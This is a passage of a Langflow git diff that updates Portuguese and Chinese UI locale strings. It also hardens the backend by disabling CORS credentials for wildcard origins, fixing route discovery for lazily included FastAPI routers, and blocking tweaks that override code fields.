vários componentes especializados do Agent para ajudar a planejar viagens incríveis. Imagine cada agente como um especialista em viagens dedicado a uma parte específica da sua viagem. Funciona assim:\nCada agente tem uma função definida nas **Instruções do agente** e as **ferramentas** relevantes anexadas. O usuário envia uma consulta por meio do **Chat Input**, e os três agentes elaboram um plano de viagem completo com base na consulta do usuário.\n\n## Introdução rápida\n1. Configure seu **Provedor de modelos** com suas credenciais de API.\n2 Adicione sua chave da **API de Pesquisa** ao componente da API de Pesquisa.\n2 Execute o fluxo no **Playground**.", "template_notes.twitter_thread_generator.3ee42d8b": "# 📖 README\nBem-vindo ao Gerador de Tópicos do Twitter! Este fluxo ajuda você a criar threads atraentes no Twitter, transformando suas entradas estruturadas em conteúdo envolvente.\n\n## Instruções\n\n1. Prepare suas informações\n- Preencha o campo “Contexto” com sua mensagem principal ou história\n- Defina as “Diretrizes de conteúdo” para a estrutura e o estilo da thread\n- Especifique o “Tipo de perfil” e os “Detalhes do perfil” para refletir a identidade da sua marca\n- Defina o “Tom e estilo” para orientar a abordagem de comunicação\n- Escolha o “Formato de saída” (thread) e o idioma desejado\n\n2. Configurar o prompt\n- O fluxo utiliza um modelo de prompt específico para gerar conteúdo\n- Certifique-se de que todos os campos de entrada estejam conectados ao nó do prompt\n\n3. Executar a geração\n- Execute o fluxo para processar suas entradas\n- O modelo OpenAI criará o thread com base nas suas especificações\n\n4. Revisar e aperfeiçoar\n- Analise o resultado no nó “Chat Output”\n- Se necessário, ajuste suas entradas e execute novamente para obter melhores resultados\n\n5. Finalizar e publicar\n- Quando estiver satisfeito, copie o tópico gerado\n- Publique no Twitter, mantendo a estrutura e o fluxo\n\nLembre-se: seja específico no contexto e nas orientações para obter os melhores resultados! 🚀\n", - "template_notes.vector_store_rag.4df99c9e": "# 📖 README\nA Geração Aumentada por Recuperação (RAG) é uma forma de fornecer contexto adicional a um Modelo de Linguagem de Grande Escala (LLM) através do pré-carregamento de um armazenamento de vetores com embeddings de conteúdo relevante. Quando um usuário conversa com o LLM, uma _busca por similaridade_ recupera conteúdo relevante comparando uma representação da consulta do usuário com as representações no banco de dados\nde vetores.\n Por exemplo, um chatbot RAG pode ser pré-carregado com dados de produtos e, assim, ajudar os clientes a encontrar produtos específicos com base em suas consultas.\n\n## Introdução rápida\n1. Configure seu **Provedor de modelos** com suas credenciais de API.\n 2 Selecione um banco de dados ou crie um novo usando o recurso **[Ingestão de Conhecimento]( http://localhost:7860/assets/knowledge-bases )**. \n 3. Abra o **Playground** para iniciar um bate-papo com o fluxo 🐕 **Retriever**.\n\n\n\n## Próximos passos\nFaça um teste alterando o prompt e os dados carregados para ver como as respostas do LLM mudam.", "template_notes.vector_store_rag.d089e3e8": "### 💡 Configure seu modelo de linguagem aqui👇", + "template_notes.vector_store_rag.e8deaec6": "# 📖 README\nA Geração Aumentada por Recuperação (RAG) é uma forma de fornecer contexto adicional a um Modelo de Linguagem de Grande Escala (LLM) através do pré-carregamento de um armazenamento de vetores com embeddings de conteúdo relevante. Quando um usuário conversa com o LLM, uma _busca por similaridade_ recupera conteúdo relevante comparando uma representação da consulta do usuário com as representações no banco de dados\nde vetores.\n Por exemplo, um chatbot RAG pode ser pré-carregado com dados de produtos e, assim, ajudar os clientes a encontrar produtos específicos com base em suas consultas.\n\n## Introdução rápida\n1. Configure seu **Provedor de modelos** com suas credenciais de API.\n 2 Selecione um banco de dados ou crie um novo usando o recurso [Ingestão de Conhecimento]( https://docs.langflow.org/knowledge-base ). \n 3. Abra o **Playground** para iniciar um bate-papo com o fluxo.\n\n\n\n## Próximos passos\nFaça um teste alterando o prompt e os dados carregados para ver como as respostas do LLM mudam.", "template_notes.youtube_analysis.8d068d5f": "# 📖 README\nEste fluxo realiza uma análise abrangente dos vídeos do site YouTube.\n1 Extrair comentários e transcrições de vídeos.\n2 Realizar uma análise de sentimento nos comentários usando LLM.\n3. Combine o conteúdo da transcrição com o tom dos comentários para uma análise abrangente do vídeo.\n## Início rápido - Configure seu **Provedor de Modelo** com suas credenciais de API. - Adicione sua **YouTube v3 **. - Se você não tiver uma chave da API YoutTube , crie uma no [Console Google Cloud ]( https://console.cloud.google.com ). - Certifique-se de que o campo de entrada do chat seja um URL de vídeo YouTube válido. Um exemplo de ` URL ` é fornecido no componente de entrada do chat.\n" -} +} \ No newline at end of file diff --git a/src/backend/base/langflow/locales/zh-Hans.json b/src/backend/base/langflow/locales/zh-Hans.json index d95eed5c74..916b53f229 100644 --- a/src/backend/base/langflow/locales/zh-Hans.json +++ b/src/backend/base/langflow/locales/zh-Hans.json @@ -948,27 +948,6 @@ "components.chroma.outputs.dataframe.display_name.16d1c905": "表", "components.chroma.outputs.search_results.display_name.39414102": "搜索结果", "components.chroma.outputs.search_results.info.c3d7164d": "在向量存储中执行语义相似度搜索,以查找相关文档/文件。 输入:一个自然语言搜索查询(字符串)。 返回值:一个 Data 对象(字典)的列表。 每个结果都有以下结构: {'data': {'text': '...', ...}}。其中“text”字段始终包含匹配到的文档内容。 其他元数据字段取决于索引的内容(可能包括:“file_path”、“source”、“page”等)。 重要提示:若要提取 file_path 等元数据,请使用:result['data'].get('file_path') 或 result.data.get ('file_path')。 通过查看 result['data'].keys() 或第一个搜索结果,确认有哪些字段可用。", - "components.chunkdoclingdocument.description.44e35996": "使用 DocumentDocument 分块器将文档分割成多个块。", - "components.chunkdoclingdocument.display_name.1722f954": "代码片段 DoclingDocument", - "components.chunkdoclingdocument.inputs.always_emit_headings.display_name.10da1ae6": "始终显示标题", - "components.chunkdoclingdocument.inputs.always_emit_headings.info.d0f59909": "即使对于空章节,也要生成标题。", - "components.chunkdoclingdocument.inputs.chunker.display_name.3aa06cd4": "Chunker", - "components.chunkdoclingdocument.inputs.chunker.info.b22ec24d": "该使用哪种切块器。", - "components.chunkdoclingdocument.inputs.data_inputs.display_name.6f756e77": "JSON 或 表格", - "components.chunkdoclingdocument.inputs.data_inputs.info.e5dd822f": "需要拆分为块的数据及文档。", - "components.chunkdoclingdocument.inputs.doc_key.display_name.03e51a1a": "文档键", - "components.chunkdoclingdocument.inputs.doc_key.info.d7f29683": "用于 DoclingDocument 列的密钥。", - "components.chunkdoclingdocument.inputs.hf_model_name.display_name.029240f2": "HF 型号名称", - "components.chunkdoclingdocument.inputs.hf_model_name.info.a4ff5667": "当选择“ Hugging Face ”作为分词器时,与 HybridChunker 配合使用的分词器模型名称。", - "components.chunkdoclingdocument.inputs.max_tokens.display_name.98a75688": "最多标记", - "components.chunkdoclingdocument.inputs.max_tokens.info.ebc4a5b8": "HybridChunker 的代币上限。", - "components.chunkdoclingdocument.inputs.merge_peers.display_name.67b25632": "合并对等节点", - "components.chunkdoclingdocument.inputs.merge_peers.info.64fef35c": "合并具有相同相关元数据且大小不足的块。", - "components.chunkdoclingdocument.inputs.openai_model_name.display_name.9ea3f726": "OpenAI 型号名称", - "components.chunkdoclingdocument.inputs.openai_model_name.info.4a3e4d67": "当选择“ OpenAI ”作为分词器时,与 HybridChunker 配合使用的分词器模型名称。", - "components.chunkdoclingdocument.inputs.provider.display_name.472590ae": "提供者", - "components.chunkdoclingdocument.inputs.provider.info.734df296": "应选择哪个分词器提供商。", - "components.chunkdoclingdocument.outputs.dataframe.display_name.16d1c905": "表", "components.cleanlabevaluator.description.ba9ff1dd": "利用 Cleanlab 对任何大型语言模型(LLM)的响应进行评估,并输出可信度评分和解释。", "components.cleanlabevaluator.display_name.acc5fbce": "Cleanlab 评估器", "components.cleanlabevaluator.inputs.api_key.display_name.424b5af9": "Cleanlab API 密钥", @@ -3373,58 +3352,6 @@ "components.directory.inputs.use_multithreading.display_name.05e4b8e4": "使用多线程", "components.directory.inputs.use_multithreading.info.abb48948": "如果为真,将使用多线程。", "components.directory.outputs.dataframe.display_name.d04e5590": "已加载的文件", - "components.doclinginline.description.8eb32adf": "使用 Docling 处理输入文档,并在本地运行 Docling 模型。", - "components.doclinginline.display_name.18714c10": "Docling", - "components.doclinginline.inputs.delete_server_file_after_processing.display_name.5f06c029": "处理完成后删除服务器文件", - "components.doclinginline.inputs.delete_server_file_after_processing.info.759b7a41": "如果为真,则“服务器文件路径”将在处理完成后被删除。", - "components.doclinginline.inputs.do_picture_classification.display_name.17f39daf": "图片分类", - "components.doclinginline.inputs.do_picture_classification.info.a7bc4521": "如果启用此功能,Docling 管道将对图片类型进行分类。", - "components.doclinginline.inputs.file_path.display_name.e2af3c2c": "服务器文件路径", - "components.doclinginline.inputs.file_path.info.27812dd6": "具有指向服务器文件的“file_path”属性的数据对象,或包含文件路径的 Message 对象。 取代“Path”,但支持相同的文件类型。", - "components.doclinginline.inputs.ignore_unspecified_files.display_name.2f4bdff0": "忽略未指定的文件", - "components.doclinginline.inputs.ignore_unspecified_files.info.6db15d5b": "如果为真,则不包含“file_path”属性的数据将被忽略。", - "components.doclinginline.inputs.ignore_unsupported_extensions.display_name.2b309132": "忽略不支持的扩展名", - "components.doclinginline.inputs.ignore_unsupported_extensions.info.c0005483": "如果为真,则不支持的扩展名的文件将不会被处理。", - "components.doclinginline.inputs.ocr_engine.display_name.0518cbfc": "OCR引擎", - "components.doclinginline.inputs.ocr_engine.info.139aeeed": "要使用的OCR引擎。 “None”将不会禁用OCR功能。", - "components.doclinginline.inputs.path.display_name.abc7e989": "文件", - "components.doclinginline.inputs.pic_desc_llm.display_name.7d1bb7eb": "图片描述 LLM", - "components.doclinginline.inputs.pic_desc_llm.info.6dfbf195": "如果已连接,则使用该模型来运行图片描述任务。", - "components.doclinginline.inputs.pic_desc_prompt.display_name.b954ba72": "图片描述提示", - "components.doclinginline.inputs.pic_desc_prompt.info.54bc97e0": "调用模型时显示的用户提示。", - "components.doclinginline.inputs.pipeline.display_name.37e1c775": "管道", - "components.doclinginline.inputs.pipeline.info.38c5db3a": "Docling 管道的使用方法", - "components.doclinginline.inputs.separator.display_name.be237eda": "分隔符", - "components.doclinginline.inputs.separator.info.d54570fc": "指定在“消息”格式中多个输出项之间使用的分隔符。", - "components.doclinginline.inputs.silent_errors.display_name.ee5bdeda": "隐性错误", - "components.doclinginline.inputs.silent_errors.info.c8d76525": "如果为真,错误不会引发异常。", - "components.doclinginline.outputs.dataframe.display_name.abc7e989": "文件", - "components.doclingremote.description.71394d2e": "使用 Docling 处理输入文档,并连接到您的 Docling Serve 实例。", - "components.doclingremote.display_name.ddeb3f89": "Docling 服务", - "components.doclingremote.inputs.api_headers.display_name.fba60cef": "HTTP 头", - "components.doclingremote.inputs.api_headers.info.47c263b2": "连接到 Docling Serve 所需的附加标头可选字典。", - "components.doclingremote.inputs.api_url.display_name.8be89710": "服务器地址", - "components.doclingremote.inputs.api_url.info.4fb8b968": "URL Docling Serve 实例的。", - "components.doclingremote.inputs.delete_server_file_after_processing.display_name.5f06c029": "处理完成后删除服务器文件", - "components.doclingremote.inputs.delete_server_file_after_processing.info.759b7a41": "如果为真,则“服务器文件路径”将在处理完成后被删除。", - "components.doclingremote.inputs.docling_serve_opts.display_name.213075dd": "Docling 选项", - "components.doclingremote.inputs.docling_serve_opts.info.44e5bb7e": "可选的附加选项字典。 更多信息请参见 https://github.com/docling-project/docling-serve/blob/main/docs/usage.md。", - "components.doclingremote.inputs.file_path.display_name.e2af3c2c": "服务器文件路径", - "components.doclingremote.inputs.file_path.info.27812dd6": "具有指向服务器文件的“file_path”属性的数据对象,或包含文件路径的 Message 对象。 取代“Path”,但支持相同的文件类型。", - "components.doclingremote.inputs.ignore_unspecified_files.display_name.2f4bdff0": "忽略未指定的文件", - "components.doclingremote.inputs.ignore_unspecified_files.info.6db15d5b": "如果为真,则不包含“file_path”属性的数据将被忽略。", - "components.doclingremote.inputs.ignore_unsupported_extensions.display_name.2b309132": "忽略不支持的扩展名", - "components.doclingremote.inputs.ignore_unsupported_extensions.info.c0005483": "如果为真,则不支持的扩展名的文件将不会被处理。", - "components.doclingremote.inputs.max_concurrency.display_name.8708492f": "并发性", - "components.doclingremote.inputs.max_concurrency.info.5b7f7b11": "服务器支持的最大并发请求数。", - "components.doclingremote.inputs.max_poll_timeout.display_name.2770e3b2": "最大轮询时间", - "components.doclingremote.inputs.max_poll_timeout.info.a280e555": "文档转换完成所需的最大等待时间。", - "components.doclingremote.inputs.path.display_name.abc7e989": "文件", - "components.doclingremote.inputs.separator.display_name.be237eda": "分隔符", - "components.doclingremote.inputs.separator.info.d54570fc": "指定在“消息”格式中多个输出项之间使用的分隔符。", - "components.doclingremote.inputs.silent_errors.display_name.ee5bdeda": "隐性错误", - "components.doclingremote.inputs.silent_errors.info.c8d76525": "如果为真,错误不会引发异常。", - "components.doclingremote.outputs.dataframe.display_name.abc7e989": "文件", "components.dotenv.description.8634f572": "将.env 文件加载到环境变量中", "components.dotenv.display_name.2955fde8": "Dotenv", "components.dotenv.inputs.dotenv_file_content.display_name.f62b6470": "Dotenv 文件内容", @@ -3509,22 +3436,6 @@ "components.exasearch.inputs.similar_num_results.display_name.707eed13": "类似数量的结果", "components.exasearch.inputs.use_autoprompt.display_name.59695dc3": "使用自动提示", "components.exasearch.outputs.tools.display_name.ea93d6a2": "工具", - "components.exportdoclingdocument.description.413a23c6": "将 DoclingDocument 导出为Markdown、HTML或其他格式。", - "components.exportdoclingdocument.display_name.f9c3a19c": "导出 DoclingDocument", - "components.exportdoclingdocument.inputs.data_inputs.display_name.6f756e77": "JSON 或 表格", - "components.exportdoclingdocument.inputs.data_inputs.info.a8882471": "待导出的数据及相关文档。", - "components.exportdoclingdocument.inputs.doc_key.display_name.03e51a1a": "文档键", - "components.exportdoclingdocument.inputs.doc_key.info.d7f29683": "用于 DoclingDocument 列的密钥。", - "components.exportdoclingdocument.inputs.export_format.display_name.df339cb8": "导出格式", - "components.exportdoclingdocument.inputs.export_format.info.95a45bb3": "选择导出格式以转换输入内容。", - "components.exportdoclingdocument.inputs.image_mode.display_name.baf2b59e": "图像导出模式", - "components.exportdoclingdocument.inputs.image_mode.info.658f2344": "指定输出中图像的导出方式。 “占位符”会将图片替换为字符串,而“嵌入”则会将其作为 base64 编码的图片包含在内。", - "components.exportdoclingdocument.inputs.md_image_placeholder.display_name.3c6e2e80": "图片占位符", - "components.exportdoclingdocument.inputs.md_image_placeholder.info.d5e786d5": "指定 Markdown 导出时的图片占位符。", - "components.exportdoclingdocument.inputs.md_page_break_placeholder.display_name.2464ce40": "分页占位符", - "components.exportdoclingdocument.inputs.md_page_break_placeholder.info.6fea767e": "在 Markdown 输出中的页面之间添加此占位符。", - "components.exportdoclingdocument.outputs.data.display_name.70557daf": "导出的数据", - "components.exportdoclingdocument.outputs.dataframe.display_name.16d1c905": "表", "components.extractakey.description.2568af44": "从 Data 对象或 Data 对象列表中提取特定键,并将提取的值作为 Data 对象返回。", "components.extractakey.display_name.0c6e10b0": "提取密钥", "components.extractakey.inputs.data_input.display_name.86fe6201": "数据输入", @@ -4581,7 +4492,7 @@ "components.memory.inputs.template.info.e9ef56ea": "用于格式化数据的模板。 它可以包含键 {text}、 {sender} 或消息数据中的任何其他键。", "components.memory.outputs.dataframe.display_name.16d1c905": "表", "components.memory.outputs.messages_text.display_name.04d7b483": "消息", - "components.memorybase.description.49825d5a": "从连接到此流程的内存库中检索聊天记录。 默认按当前会话进行范围限定;若要检索导入到此内存库中的所有会话数据,请禁用“按会话过滤”功能。", + "components.memorybase.description.03cd3f8b": "从连接到此工作流的内存库中检索长期内存。 当“按会话过滤”功能关闭时,查询将在所有会话中执行。", "components.memorybase.display_name.6c40130b": "内存库", "components.memorybase.inputs.filter_by_session.display_name.0c2249c9": "按会话筛选", "components.memorybase.inputs.filter_by_session.info.ddd14a58": "如果启用此选项,系统将仅检索当前会话中的记忆。 禁用此选项,以便允许检索存储在此内存库中的所有会话(这对跨对话检索非常有用)。", @@ -6486,12 +6397,17 @@ "components.weaviate.display_name.e95095e1": "Weaviate", "components.weaviate.inputs.api_key.display_name.23189d55": "API 密钥", "components.weaviate.inputs.embedding.display_name.4c1a0852": "嵌入", + "components.weaviate.inputs.grpc_host.display_name.d7b0be8f": "GRPC 主机", + "components.weaviate.inputs.grpc_host.info.fe0d5a48": "gRPC 用于托管自建 Weaviate 实例的服务器。 默认使用 URL 主机。 连接到 Weaviate Cloud 时被忽略。", + "components.weaviate.inputs.grpc_port.display_name.054b93c3": "gRPC 港口", + "components.weaviate.inputs.grpc_port.info.a34b1dce": "gRPC 用于自托管 Weaviate 实例的端口。 连接到 Weaviate Cloud 时被忽略。", "components.weaviate.inputs.index_name.display_name.0f53d21d": "索引名称", "components.weaviate.inputs.index_name.info.b595f2c9": "索引名称必须大写。", "components.weaviate.inputs.ingest_data.display_name.b8c4a377": "采集数据", "components.weaviate.inputs.number_of_results.display_name.e8f2e1bb": "结果数", "components.weaviate.inputs.number_of_results.info.5232e01a": "要返回的结果数。", "components.weaviate.inputs.search_by_text.display_name.a1bfa0f3": "按文本搜索", + "components.weaviate.inputs.search_by_text.info.a58c521e": "为保持向后兼容性而保留。 Weaviate 的 v4 客户端会根据是否提供了嵌入向量,自动选择关键词搜索或向量搜索。", "components.weaviate.inputs.search_query.display_name.3ad6e0f4": "搜索查询", "components.weaviate.inputs.search_query.info.d9f2d336": "输入查询词以执行相似度搜索。", "components.weaviate.inputs.search_query.placeholder.2a5ab7eb": "输入查询内容...", @@ -6841,7 +6757,7 @@ "template_notes.text_sentiment_analysis.cd87cff6": "### 配置模型提供程序", "template_notes.travel_planning_agents.d6f6704d": "# 📖 README\n\n该旅行规划系统是一个智能平台,它利用多个专门的 Agent 组件来帮助规划精彩的旅程。 试想,每位客服专员都像是一位专注于您旅程中某个环节的旅行专家。 具体操作如下:\n每位代理在**代理指南**中都有明确的角色定义,并附有相关的**工具**。 用户通过**聊天输入**提交查询,三个智能助手会根据用户的查询制定完整的旅行计划。\n\n## 快速入门\n1. 使用您的 API 凭据配置 **模型提供程序**。\n2、 将您的 **搜索 API** 密钥添加到搜索 API 组件中。\n2、 在 **Playground** 中运行该流程。", "template_notes.twitter_thread_generator.3ee42d8b": "# 📖 README\n欢迎使用 Twitter 推文生成器! 此流程可将您的结构化输入转化为引人入胜的内容,助您创建精彩的 Twitter 系列推文。\n\n## 说明\n\n1. 准备您的输入内容\n- 在“背景”中填写您的核心信息或故事\n- 制定“内容指南”,明确帖子结构和风格\n- 指定“个人资料类型”和“个人资料详情”,以体现您的品牌形象\n- 设置“语气与风格”,指导沟通方式\n- 选择“输出格式”(帖子)和所需语言\n\n2. 配置提示词\n- 该流程使用专用的提示词模板来生成内容\n- 确保所有输入字段均已连接到提示词节点\n\n3. 运行生成\n- 执行流程以处理您的输入\n- “ OpenAI ”模型将根据您的配置创建线程\n\n4. 检查与优化\n- 检查“Chat Output”节点的输出结果\n- 如有必要,调整输入参数并重新运行以获得更佳结果\n\n5. 最终定稿并发布\n- 确认无误后,复制生成的推文\n- 发布到 Twitter,保持原有结构和行文逻辑\n\n请记住:为获得最佳效果,请在上下文和指导原则中具体说明!🚀\n", - "template_notes.vector_store_rag.4df99c9e": "# 📖 README\n检索增强生成(RAG)是一种通过预先将相关内容的嵌入向量加载到向量存储中,从而为大型语言模型(LLM)提供额外上下文的方法。 当用户与大型语言模型(LLM)进行对话时,系统会通过_相似度搜索_来检索相关内容,具体方法是将用户查询的嵌入向量与向量存储库中的嵌入向量进行比对\n 例如,可以预先向 RAG 聊天机器人加载产品数据,然后它就能根据客户的查询帮助他们查找特定产品。\n\n## 快速入门\n1. 使用您的 API 凭据配置 **模型提供程序**。\n 2、 请选择一个数据库,或使用 **[知识导入]( http://localhost:7860/assets/knowledge-bases )** 功能创建一个新的数据库。 \n 3。 打开 **Playground**,开始与 🐕 **Retriever** 流程进行对话。\n\n\n\n## 下一步\n尝试修改提示词和加载的数据,观察大型语言模型的响应会发生怎样的变化。", "template_notes.vector_store_rag.d089e3e8": "### 💡 在此配置您的语言模型👇", + "template_notes.vector_store_rag.e8deaec6": "# 📖 README\n检索增强生成(RAG)是一种通过预先将相关内容的嵌入向量加载到向量存储中,从而为大型语言模型(LLM)提供额外上下文的方法。 当用户与大型语言模型(LLM)进行对话时,系统会通过_相似度搜索_来检索相关内容,具体方法是将用户查询的嵌入向量与向量存储库中的嵌入向量进行比对\n 例如,可以预先向 RAG 聊天机器人加载产品数据,然后它就能根据客户的查询帮助他们查找特定产品。\n\n## 快速入门\n1. 使用您的 API 凭据配置 **模型提供程序**。\n 2、 请选择一个数据库,或使用 [知识导入]( https://docs.langflow.org/knowledge-base ) 功能创建一个新的数据库。 \n 3。 打开 **Playground**,开始与流程进行交互。\n\n\n\n## 下一步\n尝试修改提示词和加载的数据,观察大型语言模型的响应会发生怎样的变化。", "template_notes.youtube_analysis.8d068d5f": "# 📖 README\n此流程对 YouTube 上的视频进行全面分析。\n1 提取视频评论和文字记录。\n2、 使用大型语言模型(LLM)对评论进行情感分析。\n3。 结合字幕内容与评论情绪,实现全面的视频分析。\n## 快速入门\n- 使用您的 API 凭据配置 **模型提供程序**。\n- 添加您的 **YouTube Data API v3 密钥**\n- 如果您还没有 YoutTube API 密钥,请在 [ Google Cloud 控制台]( https://console.cloud.google.com ) 中创建一个。\n- 确保聊天输入是一个有效的 YouTube 视频 URL。 聊天输入组件中提供了一个 URL 示例。\n" -} +} \ No newline at end of file diff --git a/src/backend/base/langflow/main.py b/src/backend/base/langflow/main.py index 0aa6f19b83..8f944569ce 100644 --- a/src/backend/base/langflow/main.py +++ b/src/backend/base/langflow/main.py @@ -49,6 +49,7 @@ from langflow.services.deps import ( session_scope, ) from langflow.services.schema import ServiceType +from langflow.services.tracing.otel_fastapi_patch import patch_otel_fastapi_route_details from langflow.services.utils import initialize_services, initialize_settings_service, teardown_services from langflow.utils.mcp_cleanup import cleanup_mcp_sessions @@ -132,12 +133,26 @@ async def load_bundles_with_error_handling(): return [], [] +def cors_origins_contain_wildcard(origins) -> bool: + """Return True if the configured CORS origins include a wildcard (`*`). + + `LANGFLOW_CORS_ORIGINS="*"` is parsed as the raw string on some Python versions + and as a single-element list (`["*"]`) on others, and an operator may also mix a + wildcard into a list of specific origins (e.g. `"https://app.com,*"` -> + `["https://app.com", "*"]`). All of these mean "all origins"; treat them the same + so wildcard detection stays consistent everywhere it is used. + """ + return origins == "*" or (isinstance(origins, list) and "*" in origins) + + def warn_about_future_cors_changes(settings): """Warn users about upcoming CORS security changes in version 1.7.""" - # Check if using default (backward compatible) settings - using_defaults = settings.cors_origins == "*" and settings.cors_allow_credentials is True + # Check if using permissive (backward compatible) settings: a wildcard origin + # combined with credentials. Share the wildcard predicate with the middleware + # configuration so both fire for the same set of origins (string or list form). + using_permissive = cors_origins_contain_wildcard(settings.cors_origins) and settings.cors_allow_credentials is True - if using_defaults: + if using_permissive: logger.warning( "CORS: Using permissive defaults (all origins + credentials). " "Set LANGFLOW_CORS_ORIGINS for production. Stricter defaults in v2.0." @@ -164,6 +179,12 @@ def get_lifespan(*, fix_migration=False, version=None): sync_flows_from_fs_task = None mcp_init_task = None models_dev_refresh_task = None + # Bind ``temp_dirs`` before the ``try`` so the shutdown cleanup in the + # ``finally`` block (which iterates it) never raises ``UnboundLocalError`` + # when startup fails before bundle loading assigns it below. Otherwise an + # early failure (e.g. an unresolvable LANGFLOW_DATABASE_URL) is masked by a + # secondary error during cleanup. See issue #13634. + temp_dirs: list = [] try: start_time = asyncio.get_event_loop().time() @@ -665,6 +686,25 @@ def create_app(): # Configure CORS using settings (with backward compatible defaults) origins = settings.cors_origins + allow_credentials = settings.cors_allow_credentials + # Security: a wildcard origin combined with credentials is unsafe (and invalid + # per the CORS spec). Starlette would reflect the caller's Origin and return + # Access-Control-Allow-Credentials: true, letting any site make credentialed + # cross-origin requests (CSRF / token theft). Force credentials off whenever + # the origin list is a wildcard; specific origins keep credentials. + if cors_origins_contain_wildcard(origins): + if allow_credentials: + # Surface the override so an operator who set credentials on purpose can + # see why credentialed requests stopped working and points them at the + # wildcard origin as the cause. + logger.warning( + "CORS: wildcard origin ('*') is configured together with " + "LANGFLOW_CORS_ALLOW_CREDENTIALS=true; disabling credentials because a " + "wildcard origin with credentials enables cross-site credentialed " + "requests (CSRF / token theft) and is invalid per the CORS spec. " + "Set LANGFLOW_CORS_ORIGINS to explicit origins to keep credentials enabled." + ) + allow_credentials = False if isinstance(origins, str) and origins != "*": origins = [origins] @@ -672,7 +712,7 @@ def create_app(): app.add_middleware( CORSMiddleware, allow_origins=origins, - allow_credentials=settings.cors_allow_credentials, + allow_credentials=allow_credentials, allow_methods=settings.cors_allow_methods, allow_headers=settings.cors_allow_headers, ) @@ -848,6 +888,10 @@ def create_app(): content={"message": str(exc)}, ) + # FastAPI >=0.137 lazy include_router puts `_IncludedRouter` wrappers (no `.path`) + # in `app.routes`, which crashes OTel's span route extraction on partial matches + # (e.g. CORS preflight). Patch the helper before instrumenting. + patch_otel_fastapi_route_details() FastAPIInstrumentor.instrument_app(app) add_pagination(app) diff --git a/src/backend/base/langflow/plugin_routes.py b/src/backend/base/langflow/plugin_routes.py index deeffb6396..2e74ef0913 100644 --- a/src/backend/base/langflow/plugin_routes.py +++ b/src/backend/base/langflow/plugin_routes.py @@ -4,29 +4,54 @@ Plugins register via the ``langflow.plugins`` entry-point group. They receive a wrapper so they cannot overwrite or shadow existing Langflow routes. """ +from collections.abc import Iterable, Iterator from importlib.metadata import entry_points +from typing import Any from fastapi import FastAPI from lfx.extension import filter_component_entry_points from lfx.log.logger import logger +def _iter_route_keys(routes: Iterable[Any], prefix: str = "") -> Iterator[tuple[str, str]]: + """Yield ``(path, method)`` for every concrete route reachable from ``routes``. + + FastAPI >=0.137 includes sub-routers lazily: ``include_router`` stores an + internal ``_IncludedRouter`` wrapper instead of copying the child + ``APIRoute`` objects onto the parent. Descend through that wrapper (via its + public ``original_router`` / ``include_context``) so route discovery sees the + routes the app will actually serve, on both eager (<=0.136) and lazy + (>=0.137) FastAPI. ``HEAD`` is skipped (it usually mirrors ``GET``); mounts + are reported as ``(path, "*")``. + """ + for route in routes: + original_router = getattr(route, "original_router", None) + if original_router is not None: + include_context = getattr(route, "include_context", None) + include_prefix = getattr(include_context, "prefix", "") or "" + yield from _iter_route_keys(original_router.routes, prefix + include_prefix) + continue + path = getattr(route, "path", None) + if path is None: + continue + full_path = prefix + path + methods = getattr(route, "methods", None) + if methods is not None: + for method in methods: + if method != "HEAD": # often same as GET + yield (full_path, method) + elif hasattr(route, "path_regex"): + # Mount or similar: reserve path for all methods + yield (full_path, "*") + + def _get_route_keys(app: FastAPI) -> set[tuple[str, str]]: """Collect (path, method) for all routes already on the app. Used to build the reserved set before loading plugins so that plugin routes cannot overwrite or shadow existing Langflow routes. """ - keys: set[tuple[str, str]] = set() - for route in app.router.routes: - if hasattr(route, "path") and hasattr(route, "methods"): - for method in route.methods: - if method != "HEAD": # often same as GET - keys.add((route.path, method)) - elif hasattr(route, "path") and hasattr(route, "path_regex"): - # Mount or similar: reserve path for all methods - keys.add((route.path, "*")) - return keys + return set(_iter_route_keys(app.router.routes)) class _PluginAppWrapper: diff --git a/src/backend/base/langflow/processing/process.py b/src/backend/base/langflow/processing/process.py index 2372cd38ba..8d0c3dd93c 100644 --- a/src/backend/base/langflow/processing/process.py +++ b/src/backend/base/langflow/processing/process.py @@ -144,42 +144,55 @@ def apply_tweaks(node: dict[str, Any], node_tweaks: dict[str, Any]) -> None: logger.warning(f"Template data for node {node.get('id')} should be a dictionary") return + # Security: tweaks must never inject executable code or widen the code sandbox. + # The previous name-only block on "code" was bypassable because code-execution + # components expose their code under other field names (python_code, tool_code, + # filter_instruction) that serialize as plain "str". Refuse a tweak when the + # field is code-typed, literally named "code", or is a code/sandbox input on a + # code-execution component — while leaving benign fields (name, description, + # data, ...) on those components tweakable. + from lfx.utils.flow_validation import CODE_EXECUTION_COMPONENT_TYPES, CODE_EXECUTION_FIELD_NAMES + + is_code_exec_component = node.get("data", {}).get("type") in CODE_EXECUTION_COMPONENT_TYPES for tweak_name, tweak_value in node_tweaks.items(): if tweak_name not in template_data: continue - if tweak_name == "code": - logger.warning("Security: Code field cannot be overridden via tweaks.") + field_type = template_data[tweak_name].get("type", "") + if ( + field_type == "code" + or tweak_name == "code" + or (is_code_exec_component and tweak_name in CODE_EXECUTION_FIELD_NAMES) + ): + logger.warning(f"Security: refusing to override code field {tweak_name!r} via tweaks.") continue - if tweak_name in template_data: - field_type = template_data[tweak_name].get("type", "") - if field_type == "NestedDict": - value = validate_and_repair_json(tweak_value) - template_data[tweak_name]["value"] = value - elif field_type == "mcp": - # MCP fields expect dict values to be set directly - template_data[tweak_name]["value"] = tweak_value - elif field_type == "dict" and isinstance(tweak_value, dict): - # Dict fields: set the dict directly as the value. - # If the tweak is wrapped in {"value": }, unwrap it - # to support the template-format style (e.g. from UI exports). - # Caveat: a legitimate single-key dict {"value": x} will be unwrapped. - if len(tweak_value) == 1 and "value" in tweak_value: - template_data[tweak_name]["value"] = tweak_value["value"] - else: - template_data[tweak_name]["value"] = tweak_value - elif isinstance(tweak_value, dict): - for k, v in tweak_value.items(): - k_ = "file_path" if field_type == "file" else k - template_data[tweak_name][k_] = v - # If the user didn't explicitly set load_from_db in the dict, - # we default to False for the override. - if "load_from_db" not in tweak_value and "load_from_db" in template_data[tweak_name]: - template_data[tweak_name]["load_from_db"] = False + if field_type == "NestedDict": + value = validate_and_repair_json(tweak_value) + template_data[tweak_name]["value"] = value + elif field_type == "mcp": + # MCP fields expect dict values to be set directly + template_data[tweak_name]["value"] = tweak_value + elif field_type == "dict" and isinstance(tweak_value, dict): + # Dict fields: set the dict directly as the value. + # If the tweak is wrapped in {"value": }, unwrap it + # to support the template-format style (e.g. from UI exports). + # Caveat: a legitimate single-key dict {"value": x} will be unwrapped. + if len(tweak_value) == 1 and "value" in tweak_value: + 